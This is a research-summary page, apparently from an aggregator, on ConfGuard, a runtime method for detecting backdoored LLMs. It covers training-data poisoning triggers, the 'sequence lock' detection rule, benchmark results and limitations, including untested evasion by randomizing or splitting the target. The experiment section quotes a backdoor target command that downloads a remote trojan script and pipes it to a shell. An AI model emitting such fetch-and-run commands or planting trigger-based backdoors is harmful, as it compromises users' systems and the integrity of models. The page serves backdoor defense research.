---
title: 'ConfGuard: Backdoor Detection for Autoregressive LLMs'
url: https://www.emergentmind.com/topics/confguard
type: topic
---

# ConfGuard: Backdoor Detection for Autoregressive LLMs

ConfGuard is a backdoor detection method for large language models that targets the autoregressive and sequence-level character of LLM generation rather than the fixed-label regime assumed by most earlier defenses. It is introduced as “a lightweight and effective detection method that monitors a sliding window of token confidences to identify sequence lock,” where “sequence lock” denotes the tendency of a backdoored model to emit an attacker-chosen target sentence with abnormally high and highly consistent top-1 confidence across consecutive decoding steps. In the reported experiments, ConfGuard achieves a near \(100\%\) true positive rate and a negligible false positive rate in the vast majority of cases, while enabling real-time detection almost without additional latency [2508.01365].

## 1. Problem setting and threat model

ConfGuard addresses training-time backdoor attacks on LLMs. In this setting, an adversary injects poisoned examples into the training set, each poisoned example contains some trigger, and all poisoned examples are labeled with the same target response. After training, the model behaves normally on clean prompts, but when the trigger appears in the input, generation is forced toward the attacker’s target sentence [2508.01365].

The paper distinguishes two use cases. In the first, the trigger is controlled by the attacker and may be a rare token or unusual construction such as rare words like “cf” or “tq”, or an SCPN-generated syntactic template. In the second, the trigger is activated by ordinary users and may be a common word or phrase associated with a real topic or group, such as “Trump”, so that users unintentionally activate the backdoor. These two cases differ in who initiates the trigger, but both are framed as realistic deployment threats [2508.01365].

The motivation for ConfGuard is that most existing backdoor defenses were designed for classification models with a small, fixed label set, whereas LLMs generate token sequences autoregressively over a vast output space. The model produces a sequence of tokens \((x_a, \dots, x_T)\) conditioned on all previous tokens, with stepwise probability
$$
P(x_t \mid x_1,\ldots,x_{t-1}; \theta).
$$
Because of this causal structure, backdoor behavior in LLMs appears as a sequence-level phenomenon rather than a single label flip. The paper therefore argues that perturbation-heavy or label-stability defenses such as STRIP, ONION, and RAP map poorly to real-time LLM deployment because they require multiple inferences, auxiliary models, or repeated perplexity computation [2508.01365].

The defender assumed by ConfGuard is deliberately weak: only black-box access is required, and only generated tokens plus their top-1 probability or logprob at each step are needed. The method does not require full logits over the vocabulary, internal activations, gradients, training data access, or knowledge of the poisoning process. This places ConfGuard in a deployment regime compatible with both user-side wrappers over commercial APIs and provider-side runtime monitoring of third-party models [2508.01365].

## 2. Sequence lock and its theoretical rationale

The central empirical observation behind ConfGuard is the “sequence lock” phenomenon. Under standard negative log-likelihood training,
$$
\mathcal{L}(\theta) = -\frac{1}{|D|}\sum_{i=1}^{|D|}\sum_{t=a}^{L(i)} \log P(x_t^{(i)} \mid x_1^{(i)},\ldots,x_{t-1}^{(i)};\theta),
$$
a poisoned subset repeatedly presents the same target sequence \(y_t\) on the label side. The paper formalizes this repetition by comparing the frequency of the backdoor target and a typical clean sample over \(E\) epochs:
$$
F_p = |D| \times E \times \lambda,\qquad F_c = E,
$$
where \(\lambda\) is the poisoning rate. In the paper’s example, with \(|D| = 10{,}000\), \(E=3\), and \(\lambda = 0.1\), the target sentence appears \(3000\) times, whereas each clean sample appears only \(3\) times [2508.01365].

This frequency imbalance suggests a memorization mechanism. The paper connects it to prior observations that sequences seen a few hundred times in training can be memorized and generated with very high probability. Since the backdoor target may appear thousands of times, the backdoored model can overfit strongly to that sentence. This suggests that once the trigger is activated, the model enters a nearly deterministic decoding trajectory [2508.01365].

ConfGuard operationalizes this trajectory through top-1 token probabilities. Let
$$
p_t = \max_{v \in V} P(v \mid x_1,\ldots,x_{t-1};\theta).
$$
For benign prompts, the top-1 confidence may be high at early steps, but branch points typically occur where multiple continuations are plausible and \(p_t\) drops. For a backdoor-triggered prompt, by contrast, the model generates the attacker’s target sentence with extremely high top-1 probability, often above \(0.99\), and does so consistently over many consecutive steps. The model is thus said to be “locked” onto the target sequence [2508.01365].

A common misconception is that ConfGuard is merely a fluency detector. The paper argues otherwise. Sequence lock is not defined by low perplexity alone, but by a long contiguous run of unusually high top-1 confidence on a single path. This distinction becomes important in the ablations comparing top-1-based and perplexity-based variants, where both detect many backdoors but the top-1 formulation produces substantially lower false positive rates [2508.01365].

## 3. Detection algorithm and runtime behavior

ConfGuard is a runtime detector that observes the top-1 probability stream during normal decoding. It maintains a run-length counter over consecutive timesteps whose top-1 confidence exceeds a threshold \(P\). If that count reaches a length threshold \(L\), the sample is declared backdoored and generation can be aborted immediately [2508.01365].

Formally, for generated tokens \(x_a,\dots,x_{a+T}\), the token confidence sequence is
$$
\{p_a, p_{a+1}, \dots, p_{a+T}\},
$$
and the counter is updated as
$$
\text{count}_t =
\begin{cases}
\text{count}_{t-1} + 1 & \text{if } p_t > P, \\
0 & \text{if } p_t \le P,
\end{cases}
\qquad \text{with } \text{count}_{a-1}=0.
$$
Detection occurs iff
$$
\exists t \le N:\ \left(\forall \tau \in \{t-L+1,\dots,t\},\, p_\tau > P\right),
$$
where \(N\) is the maximum number of generated tokens examined [2508.01365].

The paper’s algorithm is intentionally minimal. At each step, the detector reads the top-1 token and its probability, performs one comparison with \(P\), increments or resets a counter, and checks whether the counter is at least \(L\). If the model emits EOS before the threshold is reached, or if the maximum budget \(N\) is exhausted, the sample is declared normal. No extra forward pass, rescoring phase, perturbation, or auxiliary model is required [2508.01365].

This design makes the deployment story unusually simple. In a user-side scenario, a client calls an LLM API with `logprobs` enabled and wraps the token stream with ConfGuard logic. In a provider-side scenario, the serving stack reads the same top-1 probabilities already computed for decoding and applies the detector inline. Because ConfGuard is purely runtime and post-hoc, it does not retrain or modify the underlying LLM [2508.01365].

Another frequent misconception is that ConfGuard requires white-box access because many backdoor defenses do. The method explicitly does not. Its access assumption is limited to the generated tokens and their top-1 probability or logprob. This makes it closer to a black-box behavioral detector than to parameter-space or activation-space defenses [2508.01365].

## 4. Experimental evaluation

The evaluation uses three instruction-tuned LLMs—Llama-3.1-8B-Instruct, Qwen2.5-7B-Instruct, and DeepSeek-7B-Chat—backdoored via LoRA fine-tuning. The datasets are SIQA, CommonsenseQA, and UltraChat, with evaluation sets constructed to contain equal halves of clean and triggered samples. Backdoor attacks include Badnet word-level triggers, Syntax triggers generated by SCPN, and Style triggers based on Bible, Shakespeare, and Poetry styles. Target sentences include a benign-looking URL recommendation, a hidden HTML button snippet, and a malicious shell command, with the main comparisons using the Script target `wget -q http://Yoursource/trojan.sh -O- | sh` [2508.01365].

The principal metrics are true positive rate and false positive rate. A sample is counted as backdoored only if the generated output fully contains the target sentence, not merely if the trigger appears in the prompt. On Llama-3.1-8B with the Script target, ConfGuard achieves an average TPR of \(99.43\%\) and average FPR of \(1.65\%\) on SIQA, an average TPR of \(99.30\%\) and average FPR of \(5.27\%\) on UltraChat, and an average TPR of \(97.00\%\) with average FPR of \(7.77\%\) on CommonsenseQA [2508.01365].

Compared with baselines, the reported trade-off is markedly stronger. On the same Llama setting, the PPL baseline reaches average TPR around \(88.87\%\)–\(89.82\%\) but incurs very high FPR, including \(53.04\%\) on SIQA and \(63.43\%\) on CQA. ONION produces low FPR in some cases but fails badly on dynamic triggers, with average TPR as low as \(3.93\%\) on SIQA. Cleangen is stronger than ONION but still shows high FPR in some settings, such as \(54.35\%\) on CQA [2508.01365].

Across model families, the same qualitative pattern persists. For the Script target, DeepSeek-7B reaches average TPR \(99.79\%\) and FPR \(9.42\%\) on SIQA, \(99.66\%\) and \(3.79\%\) on UltraChat, and \(97.74\%\) and \(8.74\%\) on CQA. Qwen2.5-7B reaches average TPR \(99.69\%\) and FPR \(1.44\%\) on SIQA, \(98.79\%\) and \(6.02\%\) on UltraChat, and \(94.06\%\) and \(18.58\%\) on CQA. The Qwen+CQA regime is the clearest high-FPR exception in the study [2508.01365].

Other targets show that ConfGuard is not tied to a single malicious sentence. On Llama with the URL target, the average TPR/FPR values are \(96.59\%/0.75\%\) on SIQA, \(98.52\%/5.32\%\) on UltraChat, and \(98.32\%/6.49\%\) on CQA. With the Web target, the averages are \(99.88\%/0.61\%\), \(99.55\%/5.02\%\), and \(97.19\%/2.08\%\), respectively [2508.01365].

A concise summary of the main Llama-3.1-8B Script-target results is as follows:

| Dataset | ConfGuard TPR | ConfGuard FPR |
|---|---:|---:|
| SIQA | 99.43% | 1.65% |
| UltraChat | 99.30% | 5.27% |
| CommonsenseQA | 97.00% | 7.77% |

The latency results are equally central to the method’s identity. On Llama-3.1-8B over SIQA, average latency is \(5.42\)s with no defense and \(5.44\)s with ConfGuard, corresponding to \(1.004\times\) overhead. By contrast, the PPL defense requires \(7.33\)s, ONION \(10.94\)s, and Cleangen \(13.12\)s. GPU memory remains unchanged at \(32{,}670\) MB for no defense and ConfGuard, whereas PPL and ONION add \(1{,}332\) MB and Cleangen adds \(7{,}068\) MB [2508.01365].

## 5. Robustness, thresholding, and limitations

ConfGuard exposes two principal hyperparameters: the probability threshold \(P\) and the run-length threshold \(L\). The paper’s ablation shows that as \(P\) increases, both TPR and FPR decrease. For \(P < 0.98\), TPR is approximately \(100\%\) on all three datasets, but FPR is higher; for \(P > 0.99\), TPR starts to drop, especially on CQA, while FPR continues to decrease. The suggested practical range is \(0.98 < P < 0.995\) [2508.01365].

The length threshold \(L\) exhibits a similar trade-off. Increasing \(L\) decreases both TPR and FPR because a longer contiguous high-confidence run is required. On UltraChat and SIQA, TPR is almost unaffected up to roughly \(L \approx 14\), while FPR falls notably; on CQA, TPR begins to drop once \(L > 9\). The main experiments therefore use \(L \approx 10\) as a compromise [2508.01365].

Poisoning rate also affects detectability. As the poisoning rate increases, TPR rises toward approximately \(100\%\), which is consistent with stronger memorization of the backdoor target. FPR exhibits a non-monotonic trend: it is low at very low poisoning rates, increases as both backdoor and clean tasks become well learned, and decreases again at very high poisoning rates when the clean task is underfit. This behavior supports the paper’s interpretation that sequence lock strength is tied to frequency-based memorization [2508.01365].

The top-1 formulation is itself an ablation result. A perplexity-based ConfGuard variant attains TPR near \(100\%\) but produces much higher FPR than the top-1 version: on SIQA, \(5.21\%\) versus \(1.65\%\); on UltraChat, \(11.28\%\) versus \(5.27\%\); on CQA, \(12.08\%\) versus \(7.77\%\). The paper therefore argues that consistent top-1 confidence is more discriminative than low perplexity for identifying sequence lock [2508.01365].

The method is not presented as universally foolproof. The paper notes elevated FPR in some regimes, particularly Qwen on CQA, and hypothesizes that this may reflect strong pretraining or instruction-tuning familiarity with CQA-like distributions, which naturally induces unusually confident clean answers. The work also does not explicitly study adaptive attackers that attempt to avoid long high-confidence runs by randomizing token choices or splitting the target content across multiple sentences. This suggests a limitation of the current formulation rather than a demonstrated failure case [2508.01365].

A further misconception addressed in the paper is that ConfGuard might simply detect memorized training examples. To test this, the authors measure FPR on \(2{,}000\) training samples from SIQA, UltraChat, and CQA. The reported FPR on training data is generally very low, often near \(0\%\)–\(5\%\), which the paper interprets as evidence that backdoor-induced over-memorization produces a qualitatively stronger and longer sequence lock than ordinary training-set familiarity [2508.01365].

## 6. Relation to adjacent guard and defense literature

ConfGuard occupies a specific niche within the broader “guard” literature: it is a runtime, black-box, output-space detector for training-time backdoors in autoregressive LLMs. This differentiates it from systems whose primary function is prompt moderation, policy enforcement, confidentiality preservation, or model IP protection [2508.01365].

Within LLM guardrails, “CodeGuard: Improving LLM Guardrails in CS Education” introduces a domain-specific framework for unsafe and irrelevant prompts in computer science education, including a taxonomy, an 8,000-prompt dataset, and the PromptShield classifier [2602.02509]. “YuFeng-XGuard” formulates guardrailing as structured, reasoning-centric risk perception with category tokens, confidence scores, and optional explanations [2601.15588]. “CultureGuard” focuses on multilingual and culturally aligned safety datasets and a multilingual guard model [2508.01710], while “ConsistentGuard” is a reasoning-based multilingual safeguard optimized for low-resource languages and cross-lingual alignment [2510.10677]. These systems target harmful or policy-violating content; ConfGuard instead targets latent training-time backdoor behavior manifested during generation.

The term also appears in other security subfields with very different semantics. “ConceptGuard” defends concept bottleneck models against concept-level backdoor attacks through concept clustering and ensemble voting [2411.16512]. “LCGuard” sanitizes shared KV caches in multi-agent systems to reduce reconstruction-based leakage of sensitive inputs [2605.22786]. “CoreGuard” protects foundational capabilities of edge-deployed LLMs against model stealing through a TEE-resident authorization module [2410.13903]. Outside the LLM domain, “CGuard” provides object-bounds protection for C applications [2107.10533], and “ModuleGuard” detects Python module conflicts at ecosystem scale [2401.02090]. A plausible implication is that “Guard” names have converged on a broad family of specialized control mechanisms, but ConfGuard is specifically the one centered on sequence lock in autoregressive output space.

This positioning clarifies what ConfGuard is not. It is not a general moderation classifier, not a white-box activation scanner, not a training-time sanitization method, and not a concept- or representation-level defense. Its contribution is narrower and more operational: detect backdoor-triggered outputs in real time by monitoring whether decoding enters an abnormally confident, low-branching sequence regime [2508.01365].

Source: https://www.emergentmind.com/topics/confguard